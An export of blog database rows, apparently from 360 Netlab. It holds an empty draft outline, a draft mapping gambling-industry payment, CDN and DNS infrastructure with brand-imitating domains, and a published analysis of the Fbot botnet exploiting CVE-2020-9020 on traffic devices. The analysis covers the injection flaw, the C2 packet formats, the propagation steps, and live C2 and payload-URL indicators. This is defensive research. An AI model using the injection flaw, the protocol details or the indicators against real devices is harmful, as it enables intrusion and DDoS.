post | null | 2021-02-20T07:57:07.000Z | 63873b9a8b1c1e0007f52fa6 | 8220 | 0 | 2021-03-02T03:53:50.000Z | public | draft | null | null | 8220 | <!--kg-card-begin: markdown--><h2 id="">概述</h2>
<p>我们的XXX系统发现<br>
这是一个一直活跃的黑产团伙，</p>
<p><a href="http://">aaa</a><br>
<a href="http://">aaa</a></p>
<h2 id="">传播</h2>
<h2 id="">样本分析</h2>
<h3 id="">下载模块</h3>
<h3 id="">扫描模块</h3>
<h3 id="">矿机模块</h3>
<h3 id="">其它</h3>
<!--kg-card-end: markdown--> | 概述
我们的XXX系统发现
这是一个一直活跃的黑产团伙，
aaa
aaa
传播
样本分析
下载模块
扫描模块
矿机模块
其它
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 概述\n我们的XXX系统发现\n这是一个一直活跃的黑产团伙，\n\n[aaa](http://)\n[aaa](http://)\n\n## 传播\n\n## 样本分析\n\n### 下载模块\n\n### 扫描模块\n\n### 矿机模块 \n\n### 其它\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6030c0d3d0d9b7000712b59a |
post | null | 2021-02-22T03:06:34.000Z | 63873b9a8b1c1e0007f52fa7 | du-bo-wang-zhan-de-zhi-cheng-xi-tong | 0 | 2022-05-05T06:56:07.000Z | public | draft | null | null | 赌博/黑灰行业的IT支撑系统 | <!--kg-card-begin: markdown--><h2 id="">客服系统</h2>
<p><img src="__GHOST_URL__/content/images/2021/02/call_center.jpg" alt="call_center" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2021/02/call_center_2.jpg" alt="call_center_2" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2021/02/call_center_3.jpg" alt="call_center_3" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2021/02/call_center_4.png" alt="call_center_4" loading="lazy"></p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">支付系统</h2>
<p>从技术角度来说，黑灰产的支付体系也呈现较为明显的基础设施复用的情况。比如如下的赌博网站所使用的支付域名会汇集到一个中心支付域名上。<br>
<img src="__GHOST_URL__/content/images/2021/07/pay_system.jpg" alt="pay_system" loading="lazy"></p>
<p>再看一个例子，位于菲律宾（也有说是中国台湾）的网段183.182.75.0/24上几乎全是四方支付域名，并且在该网段提供支付业务的时间至少有7年时间（从2014年开始）。<br>
<img src="__GHOST_URL__/content/images/2021/08/pay_system_2.jpg" alt="pay_system_2" loading="lazy"></p>
<!--kg-card-end: markdown--><p></p><!--kg-card-begin: markdown--><h2 id="cdn">CDN系统</h2>
<p>greycdn.net<br>
之前介绍的以大站的名义存在的黑灰产业：<a href="__GHOST_URL__/fraudulent-top-sites-a-dedicated-underground-market-infrastructure-chinese/">https://blog.netlab.360.com/fraudulent-top-sites-a-dedicated-underground-market-infrastructure-chinese/</a></p>
<p>还有直接就叫greycdn.net的，对自己的定位非常清晰。</p>
<p>模仿白山云的cdn系统<br>
cpb5k8bgp175rpxc.baishancloud<strong>slb</strong>.com<br>
模仿百度云的云加速cdn，来了一个云减速cdn<br>
569a5a305r7psx0e.yunjia<strong>n</strong>su-cdn.com</p>
<p>模仿电信云堤的cdn系统<br>
d4y2pxj94jgyss2r.dam<strong>d</strong>ddos.com<br>
模仿创宇盾的cdn系统<br>
zs54k064j0wclag0.365cyd<strong>un</strong>.com<br>
模仿akamai的cdn系统<br>
6ior18q0ty88ah85.akmddos.com</p>
<p>利用阿里云做基础设施服务，IP地址再新加坡<br>
towk9565y4p94gh9.aliyunddos0003.com<br>
30m991pwxrl87ab2.aliyunddos0003.com<br>
l3kv245rxipkvhv2.aliyunddos0004.com</p>
<p>用于支付的，模仿Google的域名：<br>
pay.<strong>googlecdn</strong>.in<br>
模仿阿里的域名：<br>
www.<strong>ali</strong>ycpaycdn.com</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="internet7ccinternet7vip">internet7.cc/internet7.vip</h3>
<p>这两组域名为5000+赌博域名提供服务，使用的IP接近2000个，涵盖了中国，美国，新加坡，南非等等地区。域名和IP之间勾连紧密。每个域名使用的IP地址在10～50个之间，最多的一个IP上面承载了70+域名。<img src="__GHOST_URL__/content/images/2021/06/internet7.jpg" alt="internet7" loading="lazy"></p>
<p>图链接参见：<a href="https://graph.netlab.qihoo.net/#/explorer?snapshot=60c8723c61ff4c374d4130c7">https://graph.netlab.qihoo.net/#/explorer?snapshot=60c8723c61ff4c374d4130c7</a></p>
<p>这个case的有趣之处在于涉及的每个域名访问量都非常大，再加上涉及的域名众多，以及处在欧洲杯期间（2021-06-15），让人们对网络赌博的热情极大的提高。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="ns">NS 服务器</h2>
<p>ns2.ybvipdns.com<br>
ns1.ybvipdns.com<br>
使用的基础设施是阿里云的服务器。</p>
<p>搞笑的是居然还有仿冒阿里的域名：alibabadhs.com ，也用来承担赌博站的基础设施<br>
使用该NS服务器的类似的基础设施涉及的域名超过10000+</p>
<!--kg-card-end: markdown--> | 客服系统
支付系统
从技术角度来说，黑灰产的支付体系也呈现较为明显的基础设施复用的情况。比如如下的赌博网站所使用的支付域名会汇集到一个中心支付域名上。
再看一个例子，位于菲律宾（也有说是中国台湾）的网段183.182.75.0/24上几乎全是四方支付域名，并且在该网段提供支付业务的时间至少有7年时间（从2014年开始）。
CDN系统
greycdn.net
之前介绍的以大站的名义存在的黑灰产业：https://blog.netlab.360.com/fraudulent-top-sites-a-dedicated-underground-market-infrastructure-chinese/
还有直接就叫greycdn.net的，对自己的定位非常清晰。
模仿白山云的cdn系统
cpb5k8bgp175rpxc.baishancloudslb.com
模仿百度云的云加速cdn，来了一个云减速cdn
569a5a305r7psx0e.yunjiansu-cdn.com
模仿电信云堤的cdn系统
d4y2pxj94jgyss2r.damdddos.com
模仿创宇盾的cdn系统
zs54k064j0wclag0.365cydun.com
模仿akamai的cdn系统
6ior18q0ty88ah85.akmddos.com
利用阿里云做基础设施服务，IP地址再新加坡
towk9565y4p94gh9.aliyunddos0003.com
30m991pwxrl87ab2.aliyunddos0003.com
l3kv245rxipkvhv2.aliyunddos0004.com
用于支付的，模仿Google的域名：
pay.googlecdn.in
模仿阿里的域名：
www.aliycpaycdn.com
internet7.cc/internet7.vip
这两组域名为5000+赌博域名提供服务，使用的IP接近2000个，涵盖了中国，美国，新加坡，南非等等地区。域名和IP之间勾连紧密。每个域名使用的IP地址在10～50个之间，最多的一个IP上面承载了70+域名。
图链接参见：https://graph.netlab.qihoo.net/#/explorer?snapshot=60c8723c61ff4c374d4130c7
这个case的有趣之处在于涉及的每个域名访问量都非常大，再加上涉及的域名众多，以及处在欧洲杯期间（2021-06-15），让人们对网络赌博的热情极大的提高。
NS 服务器
ns2.ybvipdns.com
ns1.ybvipdns.com
使用的基础设施是阿里云的服务器。
搞笑的是居然还有仿冒阿里的域名：alibabadhs.com ，也用来承担赌博站的基础设施
使用该NS服务器的类似的基础设施涉及的域名超过10000+
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 客服系统\n\n\n\n"}],["markdown",{"markdown":"## 支付系统\n从技术角度来说，黑灰产的支付体系也呈现较为明显的基础设施复用的情况。比如如下的赌博网站所使用的支付域名会汇集到一个中心支付域名上。\n\n\n再看一个例子，位于菲律宾（也有说是中国台湾）的网段183.182.75.0/24上几乎全是四方支付域名，并且在该网段提供支付业务的时间至少有7年时间（从2014年开始）。\n\n"}],["markdown",{"markdown":"## CDN系统\ngreycdn.net\n之前介绍的以大站的名义存在的黑灰产业：__GHOST_URL__/fraudulent-top-sites-a-dedicated-underground-market-infrastructure-chinese/\n\n还有直接就叫greycdn.net的，对自己的定位非常清晰。\n\n模仿白山云的cdn系统\ncpb5k8bgp175rpxc.baishancloud**slb**.com\n模仿百度云的云加速cdn，来了一个云减速cdn\n569a5a305r7psx0e.yunjia**n**su-cdn.com\n\n模仿电信云堤的cdn系统\nd4y2pxj94jgyss2r.dam**d**ddos.com\n模仿创宇盾的cdn系统\nzs54k064j0wclag0.365cyd**un**.com\n模仿akamai的cdn系统\n6ior18q0ty88ah85.akmddos.com\n\n利用阿里云做基础设施服务，IP地址再新加坡\ntowk9565y4p94gh9.aliyunddos0003.com\n30m991pwxrl87ab2.aliyunddos0003.com\nl3kv245rxipkvhv2.aliyunddos0004.com\n\n用于支付的，模仿Google的域名：\npay.**googlecdn**.in\n模仿阿里的域名：\nwww.**ali**ycpaycdn.com"}],["markdown",{"markdown":"### internet7.cc/internet7.vip\n这两组域名为5000+赌博域名提供服务，使用的IP接近2000个，涵盖了中国，美国，新加坡，南非等等地区。域名和IP之间勾连紧密。每个域名使用的IP地址在10～50个之间，最多的一个IP上面承载了70+域名。\n\n图链接参见：https://graph.netlab.qihoo.net/#/explorer?snapshot=60c8723c61ff4c374d4130c7\n\n这个case的有趣之处在于涉及的每个域名访问量都非常大，再加上涉及的域名众多，以及处在欧洲杯期间（2021-06-15），让人们对网络赌博的热情极大的提高。"}],["markdown",{"markdown":"## NS 服务器\nns2.ybvipdns.com\nns1.ybvipdns.com\n使用的基础设施是阿里云的服务器。\n\n搞笑的是居然还有仿冒阿里的域名：alibabadhs.com ，也用来承担赌博站的基础设施\n使用该NS服务器的类似的基础设施涉及的域名超过10000+"}]],"markups":[],"sections":[[10,0],[10,1],[1,"p",[]],[10,2],[10,3],[10,4],[1,"p",[]]],"ghostVersion":"3.0"} | 60331fbad0d9b7000712b5af |
post | null | 2021-02-23T09:11:10.000Z | 63873b9a8b1c1e0007f52fa8 | fbot-is-now-riding-the-traffic-and-transportation-smart-devices | 0 | 2022-02-09T07:06:58.000Z | public | published | null | 2021-03-03T03:47:51.000Z | Fbot僵尸网络正在攻击交通和运输智能设备 | <!--kg-card-begin: markdown--><h3 id="">背景介绍</h3>
<p>Fbot是一个基于Mirai的僵尸网络，它一直很活跃，此前我们曾多次披露过该僵尸网络<a href="__GHOST_URL__/fbot-a-satori-related-block-chain-dns-based-worm/">[1]</a><a href="__GHOST_URL__/the-new-developments-of-the-fbot/">[2]</a>。我们已经看到Fbot僵尸网络使用了多个物联网（Internet of things）设备的N-day漏洞和0-day漏洞（部分未披露），现在它正在攻击车联网（Internet of Vehicles）领域的智能设备，这是一个新现象。</p>
<p>2021年2月20号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用美国Iteris, Inc.公司的Vantage Velocity产品的远程命令执行漏洞（CVE-2020-9020）<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-9023">[3]</a><a href="https://sku11army.blogspot.com/2020/01/iteris-vantage-velocity-field-unit-no.html">[4]</a>，传播Fbot僵尸网络样本。</p>
<p>据维基百科介绍<a href="https://en.wikipedia.org/wiki/Iteris">[5]</a>，Iteris, Inc.公司为智能移动基础设施管理提供软件和咨询服务，包括软件即服务以及托管和咨询服务，并生产记录和预测交通状况的传感器和其他设备。</p>
<p>结合Vantage Velocity产品用途，并从受影响的设备上发现AIrLink GX450 Mobile Gateway产信息，因此我们推测受影响设备是路边设备系统。</p>
<h3 id="cve20209020">CVE-2020-9020漏洞分析</h3>
<p>通过360 FirmwareTotal系统，我们验证并分析了CVE-2020-9020漏洞。</p>
<ol>
<li>在Vantage Velocity产品Synchronize With NTP Server处，用户可以设置指定的ntp服务器地址。</li>
<li><code>timeconfig.py</code>脚本在接受前端用户Web请求后未对<code>htmlNtpServer</code>变量过滤，即将其拼接为<code>shell</code>变量格式 <code>"ntpserver=" + form["htmlNtpServer"].value.strip()</code>，并写入到 <code>/root/timeparam</code> 文件中。</li>
<li>当<code>timeconfig.py</code> 脚本调用<code>shell</code>脚本 <code>/root/ntpconfig</code>，读取 <code>/root/timeparam</code> 文件初始化变量<code>ntpserver</code>时，触发命令执行漏洞。</li>
</ol>
<h3 id="">漏洞影响范围</h3>
<p>360 Quake网络空间测绘系统通过对全网资产测绘，发现Vantage Velocity设备具体分布如下图所示。<br>
<a href="__GHOST_URL__/content/images/2021/02/CVE_2020_9020_stats.png"><img src="__GHOST_URL__/content/images/2021/02/CVE_2020_9020_stats.png" class="kg-image"/></a></p>
<h3 id="fbot">Fbot僵尸网络</h3>
<p>Fbot已经是安全社区非常熟悉的老朋友了，它是在Mirai基础上开发的僵尸网络，主要改动体现在2个方面</p>
<ul>
<li>加密算法</li>
<li>上线包，心跳包</li>
</ul>
<p>此次通过Nday传播的样本（arm7），基本信息如下所示:</p>
<blockquote>
<p>MD5:deaee7ada44bf1c6af826d2d170c8698</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped</p>
<p>Packer:None</p>
</blockquote>
<p>它本身并没有特别之处，主要功能是</p>
<ul>
<li>DDoS攻击</li>
<li>Telnet扫描&传播</li>
</ul>
<p>下文将围绕上述功能做简要分析。</p>
<h3 id="ddos">DDoS攻击</h3>
<p>首先Fbot通过以下代码片段和硬编码的C2(<code>198.23.238.203:5684</code>)建立连接</p>
<p><a href="__GHOST_URL__/content/images/2021/02/velo_fbot_c2.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_c2.png" class="kg-image"/></a></p>
<p>随后向C2发送长度为78字节的上线信息<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_reg-1.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_reg-1.png" class="kg-image"/></a><br>
实际中产生的网络流量如下所示：<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_regpkg.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_regpkg.png" class="kg-image"/></a></p>
<p>上线包中的信息用来验证BOT的合法身份，以上图上线包为例，格式解析如下所示：</p>
<pre><code>Main field parsing，others can be 0
——————————————————————————————————————————
02 --->type，register package
00 42 00 33 00 63 01 c8 02 fc 00 49 --->hardcoded，authentication
00 07 --->length of group string
75 6e 6b 6e 6f 77 6e ---->group string，"unknown"
——————————————————————————————————————————
</code></pre>
<p>发送完上线包后Bot开始等待C2下发指令，指令包的<strong>第一个字节</strong>指定了指令类型。</p>
<h4 id="0x00">0x00，心跳指令码</h4>
<p>以下图心跳为例<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_beat.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_beat.png" class="kg-image"/></a></p>
<p>心跳包的格式解析如下所示</p>
<pre><code>Main field parsing，others can be 0
——————————————————————————————————————————
00 --->type，heartbeat package
1b 37 03 f3 25 e3 19 40 1e 68 1a d2 --->hardcoded
——————————————————————————————————————————
</code></pre>
<h4 id="0x01ddos">0x01，DDoS攻击指令码</h4>
<p>以下图攻击指令为例<br>
<a href="__GHOST_URL__/content/images/2021/02/ping_fbot_atk.png"><img src="__GHOST_URL__/content/images/2021/02/ping_fbot_atk.png" class="kg-image"/></a></p>
<p>攻击包的格式解析如下所示</p>
<pre><code>Main field parsing，others can be 0
——————————————————————————————————————————
01 --->type，attack package
01 --->attack type
00 3c --->time (sec)
01 --->number of target
67 5f dd bc 00 20 --->target/mask,103.95.221.188/32
02 --->number of flag
02 --->flag type, attack package length
00 04 --->flag length
31 34 36 30 --->flag data，1460
01 --->flag type, port
00 02 --->flag length
35 33 --->flag data，53
——————————————————————————————————————————
</code></pre>
<h4 id="0x03">0x03，退出</h4>
<p><a href="__GHOST_URL__/content/images/2021/02/velo_fbot_exit.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_exit.png" class="kg-image"/></a></p>
<h3 id="telnet">Telnet扫描&传播</h3>
<p>Fbot在传播过程中用到了SYN端口探测的技巧，来提高传播效率。</p>
<p><a href="__GHOST_URL__/content/images/2021/02/velo_fbot_scan.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_scan.png" class="kg-image"/></a></p>
<p>从上面的代码片段，可知其扫描流量有2个特征</p>
<ol>
<li>扫描23端口数量约为26端口的2倍</li>
<li>tcp头中的序列号与ip头中的目标地址相等</li>
</ol>
<p>当探测到端口开放时，使用硬编码的凭证列表尝试登录，将能成功登录的<code>IP，端口，帐号，密码</code>等信息通过以下代码片段回传给Reporter(<code>198.23.238.203:774</code>)。</p>
<p><a href="__GHOST_URL__/content/images/2021/02/velo_fbot_report.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_report.png" class="kg-image"/></a><br>
实际产生的网络流量如下图所示：<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_reportpkg.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_reportpkg.png" class="kg-image"/></a><br>
最后通过<code>网络下载</code>或<code>ECHO</code>的方式向存在telnet弱口令的设备植入Fbot样本，并将植入成功的信息回传给Reporter。</p>
<h4 id="1">1：网络下载</h4>
<p>如果设备有<code>wget，tftp</code>工具则直接通过网络下载在设备上下载对应CPU架构的Fbot样本。<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_dow_method.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_dow_method.png" class="kg-image"/></a></p>
<h4 id="2echo">2：ECHO</h4>
<p>如果设备没有网络下载工具则通过ECHO的方式向设备上传入相应CPU架构的<strong>Fbot downloader</strong>，用以下载Fbot样本。<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_echo_method.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_echo_method.png" class="kg-image"/></a><br>
其中样本内置的<strong>Fbot downloader</strong>信息如下图所示：<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_emelf.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_emelf.png" class="kg-image"/></a><br>
以上图中，文件偏移<code>0x1D794</code>的downloader为例，</p>
<blockquote>
<p>MD5:9b49507d1876c3a550f7b7a6e4ec696d</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped</p>
<p>Packer:None</p>
</blockquote>
<p>它的功能就是向下载服务器(<code>198.23.238.203:80</code>)请求Fbot样本并执行。<br>
<a href="__GHOST_URL__/content/images/2021/02/velo_fbot_loader-1.png"><img src="__GHOST_URL__/content/images/2021/02/velo_fbot_loader-1.png" class="kg-image"/></a></p>
<h3 id="">处置建议</h3>
<p>我们建议Vantage Velocity用户及时检查并更新固件系统。<br>
我们建议Vantage Velocity用户为Web和SSH等管理接口设置复杂登陆密码。<br>
我们建议读者对相关IP和URL进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>198.23.238.203 United States ASN36352 AS-COLOCROSSING
</code></pre>
<p>C2:</p>
<pre><code>198.23.238.203:5684
</code></pre>
<p>URL:</p>
<pre><code>http://198.23.238.203/arm7
</code></pre>
<p>MD5:</p>
<pre><code>deaee7ada44bf1c6af826d2d170c8698
</code></pre>
<h3 id="">招聘信息</h3>
<p>360网络安全研究院在杭州新成立了一个产品团队，把我们的安全数据和技术产品化，探索网络安全行业未知威胁检测难题，为360安全大脑添砖加瓦。</p>
<p>从一次平凡的网络扫描，到漏洞、样本、安全事件分析，再到0-day漏洞检测、未知恶意软件检测、高级威胁追踪，我们致力于通过数据驱动安全，构建网络安全看得见的能力。</p>
<p>招聘岗位：<br>
前端开发工程师、后端开发工程师、产品经理、安全工程师、算法工程师</p>
<p>详情链接：<a href="__GHOST_URL__/work-in-hangzhou/">https://blog.netlab.360.com/work-in-hangzhou/</a></p>
<!--kg-card-end: markdown--> | 背景介绍
Fbot是一个基于Mirai的僵尸网络，它一直很活跃，此前我们曾多次披露过该僵尸网络[1][2]。我们已经看到Fbot僵尸网络使用了多个物联网（Internet of things）设备的N-day漏洞和0-day漏洞（部分未披露），现在它正在攻击车联网（Internet of Vehicles）领域的智能设备，这是一个新现象。
2021年2月20号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用美国Iteris, Inc.公司的Vantage Velocity产品的远程命令执行漏洞（CVE-2020-9020）[3][4]，传播Fbot僵尸网络样本。
据维基百科介绍[5]，Iteris, Inc.公司为智能移动基础设施管理提供软件和咨询服务，包括软件即服务以及托管和咨询服务，并生产记录和预测交通状况的传感器和其他设备。
结合Vantage Velocity产品用途，并从受影响的设备上发现AIrLink GX450 Mobile Gateway产信息，因此我们推测受影响设备是路边设备系统。
CVE-2020-9020漏洞分析
通过360 FirmwareTotal系统，我们验证并分析了CVE-2020-9020漏洞。
1. 在Vantage Velocity产品Synchronize With NTP Server处，用户可以设置指定的ntp服务器地址。
2. timeconfig.py脚本在接受前端用户Web请求后未对htmlNtpServer变量过滤，即将其拼接为shell变量格式 "ntpserver=" + form["htmlNtpServer"].value.strip()，并写入到 /root/timeparam 文件中。
3. 当timeconfig.py 脚本调用shell脚本 /root/ntpconfig，读取 /root/timeparam 文件初始化变量ntpserver时，触发命令执行漏洞。
漏洞影响范围
360 Quake网络空间测绘系统通过对全网资产测绘，发现Vantage Velocity设备具体分布如下图所示。
Fbot僵尸网络
Fbot已经是安全社区非常熟悉的老朋友了，它是在Mirai基础上开发的僵尸网络，主要改动体现在2个方面
* 加密算法
* 上线包，心跳包
此次通过Nday传播的样本（arm7），基本信息如下所示:
MD5:deaee7ada44bf1c6af826d2d170c8698
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Packer:None
它本身并没有特别之处，主要功能是
* DDoS攻击
* Telnet扫描&传播
下文将围绕上述功能做简要分析。
DDoS攻击
首先Fbot通过以下代码片段和硬编码的C2(198.23.238.203:5684)建立连接
随后向C2发送长度为78字节的上线信息
实际中产生的网络流量如下所示：
上线包中的信息用来验证BOT的合法身份，以上图上线包为例，格式解析如下所示：
Main field parsing，others can be 0
——————————————————————————————————————————
02 --->type，register package
00 42 00 33 00 63 01 c8 02 fc 00 49 --->hardcoded，authentication
00 07 --->length of group string
75 6e 6b 6e 6f 77 6e ---->group string，"unknown"
——————————————————————————————————————————
发送完上线包后Bot开始等待C2下发指令，指令包的第一个字节指定了指令类型。
0x00，心跳指令码
以下图心跳为例
心跳包的格式解析如下所示
Main field parsing，others can be 0
——————————————————————————————————————————
00 --->type，heartbeat package
1b 37 03 f3 25 e3 19 40 1e 68 1a d2 --->hardcoded
——————————————————————————————————————————
0x01，DDoS攻击指令码
以下图攻击指令为例
攻击包的格式解析如下所示
Main field parsing，others can be 0
——————————————————————————————————————————
01 --->type，attack package
01 --->attack type
00 3c --->time (sec)
01 --->number of target
67 5f dd bc 00 20 --->target/mask,103.95.221.188/32
02 --->number of flag
02 --->flag type, attack package length
00 04 --->flag length
31 34 36 30 --->flag data，1460
01 --->flag type, port
00 02 --->flag length
35 33 --->flag data，53
——————————————————————————————————————————
0x03，退出
Telnet扫描&传播
Fbot在传播过程中用到了SYN端口探测的技巧，来提高传播效率。
从上面的代码片段，可知其扫描流量有2个特征
1. 扫描23端口数量约为26端口的2倍
2. tcp头中的序列号与ip头中的目标地址相等
当探测到端口开放时，使用硬编码的凭证列表尝试登录，将能成功登录的IP，端口，帐号，密码等信息通过以下代码片段回传给Reporter(198.23.238.203:774)。
实际产生的网络流量如下图所示：
最后通过网络下载或ECHO的方式向存在telnet弱口令的设备植入Fbot样本，并将植入成功的信息回传给Reporter。
1：网络下载
如果设备有wget，tftp工具则直接通过网络下载在设备上下载对应CPU架构的Fbot样本。
2：ECHO
如果设备没有网络下载工具则通过ECHO的方式向设备上传入相应CPU架构的Fbot downloader，用以下载Fbot样本。
其中样本内置的Fbot downloader信息如下图所示：
以上图中，文件偏移0x1D794的downloader为例，
MD5:9b49507d1876c3a550f7b7a6e4ec696d
ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Packer:None
它的功能就是向下载服务器(198.23.238.203:80)请求Fbot样本并执行。
处置建议
我们建议Vantage Velocity用户及时检查并更新固件系统。
我们建议Vantage Velocity用户为Web和SSH等管理接口设置复杂登陆密码。
我们建议读者对相关IP和URL进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC
IP:
198.23.238.203 United States ASN36352 AS-COLOCROSSING
C2:
198.23.238.203:5684
URL:
http://198.23.238.203/arm7
MD5:
deaee7ada44bf1c6af826d2d170c8698
招聘信息
360网络安全研究院在杭州新成立了一个产品团队，把我们的安全数据和技术产品化，探索网络安全行业未知威胁检测难题，为360安全大脑添砖加瓦。
从一次平凡的网络扫描，到漏洞、样本、安全事件分析，再到0-day漏洞检测、未知恶意软件检测、高级威胁追踪，我们致力于通过数据驱动安全，构建网络安全看得见的能力。
招聘岗位：
前端开发工程师、后端开发工程师、产品经理、安全工程师、算法工程师
详情链接：https://blog.netlab.360.com/work-in-hangzhou/
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 背景介绍\nFbot是一个基于Mirai的僵尸网络，它一直很活跃，此前我们曾多次披露过该僵尸网络[[1]](__GHOST_URL__/fbot-a-satori-related-block-chain-dns-based-worm/)[[2]](__GHOST_URL__/the-new-developments-of-the-fbot/)。我们已经看到Fbot僵尸网络使用了多个物联网（Internet of things）设备的N-day漏洞和0-day漏洞（部分未披露），现在它正在攻击车联网（Internet of Vehicles）领域的智能设备，这是一个新现象。\n\n2021年2月20号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用美国Iteris, Inc.公司的Vantage Velocity产品的远程命令执行漏洞（CVE-2020-9020）[[3]](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-9023)[[4]](https://sku11army.blogspot.com/2020/01/iteris-vantage-velocity-field-unit-no.html)，传播Fbot僵尸网络样本。\n\n据维基百科介绍[[5]](https://en.wikipedia.org/wiki/Iteris)，Iteris, Inc.公司为智能移动基础设施管理提供软件和咨询服务，包括软件即服务以及托管和咨询服务，并生产记录和预测交通状况的传感器和其他设备。\n\n结合Vantage Velocity产品用途，并从受影响的设备上发现AIrLink GX450 Mobile Gateway产信息，因此我们推测受影响设备是路边设备系统。\n\n### CVE-2020-9020漏洞分析\n通过360 FirmwareTotal系统，我们验证并分析了CVE-2020-9020漏洞。\n\n1. 在Vantage Velocity产品Synchronize With NTP Server处，用户可以设置指定的ntp服务器地址。\n2. `timeconfig.py`脚本在接受前端用户Web请求后未对`htmlNtpServer`变量过滤，即将其拼接为`shell`变量格式 `\"ntpserver=\" + form[\"htmlNtpServer\"].value.strip()`，并写入到 `/root/timeparam` 文件中。\n3. 当`timeconfig.py` 脚本调用`shell`脚本 `/root/ntpconfig`，读取 `/root/timeparam` 文件初始化变量`ntpserver`时，触发命令执行漏洞。\n\n### 漏洞影响范围\n360 Quake网络空间测绘系统通过对全网资产测绘，发现Vantage Velocity设备具体分布如下图所示。\n<a href=\"__GHOST_URL__/content/images/2021/02/CVE_2020_9020_stats.png\"><img src=\"__GHOST_URL__/content/images/2021/02/CVE_2020_9020_stats.png\" class=\"kg-image\"/></a>\n\n### Fbot僵尸网络\nFbot已经是安全社区非常熟悉的老朋友了，它是在Mirai基础上开发的僵尸网络，主要改动体现在2个方面\n\n- 加密算法\n- 上线包，心跳包\n\n此次通过Nday传播的样本（arm7），基本信息如下所示:\n\n> MD5:deaee7ada44bf1c6af826d2d170c8698\n>\n> ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped\n>\n> Packer:None\n\n它本身并没有特别之处，主要功能是\n\n- DDoS攻击\n- Telnet扫描&传播\n\n下文将围绕上述功能做简要分析。\n\n### DDoS攻击\n首先Fbot通过以下代码片段和硬编码的C2(```198.23.238.203:5684```)建立连接\n\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_c2.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_c2.png\" class=\"kg-image\"/></a>\n\n\n随后向C2发送长度为78字节的上线信息\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_reg-1.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_reg-1.png\" class=\"kg-image\"/></a>\n实际中产生的网络流量如下所示：\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_regpkg.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_regpkg.png\" class=\"kg-image\"/></a>\n\n\n上线包中的信息用来验证BOT的合法身份，以上图上线包为例，格式解析如下所示：\n\n```\nMain field parsing，others can be 0\n——————————————————————————————————————————\n02 --->type，register package\n00 42 00 33 00 63 01 c8 02 fc 00 49 --->hardcoded，authentication\n00 07 --->length of group string\n75 6e 6b 6e 6f 77 6e ---->group string，\"unknown\"\n——————————————————————————————————————————\n```\n\n发送完上线包后Bot开始等待C2下发指令，指令包的**第一个字节**指定了指令类型。\n\n#### 0x00，心跳指令码\n\n以下图心跳为例\n<a href=\"__GHOST_URL__/content/images/2021/02/velo_fbot_beat.png\"><img src=\"__GHOST_URL__/content/images/2021/02/velo_fbot_beat.png\" class=\"kg-image\"/></a>\n\n\n心跳包的格式解析如下所示\n\n```\nMain field parsing，others can be 0\n——————————————————————————————————————————\n00 --->type，heartbeat package\n1b 37 03 f3 25 e3 19 40 1e 68 1a d2 --->hardcoded\n——————————————————————————————————————————\n```\n\n#### 0x01，DDoS攻击指令码\n\n以下图攻击指令为例\n<a href=\"__GHOST_URL__/content/images/2021/02/ping_fbot_atk.png\"><img src=\"__GHOST_URL__/content/images/2021/02/ping_fbot_atk.png\" class=\"kg-image\"/></a>\n\n\n攻击包的格式解析如下所示\n\n```\nMain field parsing，others can be 0\n——————————————————————————————————————————\n01 \t\t\t\t\t\t--->type，attack package \n01\t\t\t\t\t\t\t--->attack type\n00 3c \t\t\t\t\t\t--->time (sec)\n01\t\t\t\t\t\t\t--->number of target\n67 5f dd bc 00 20\t\t\t--->target/mask,103.95.221.188/32\n02\t\t\t\t\t\t\t--->number of 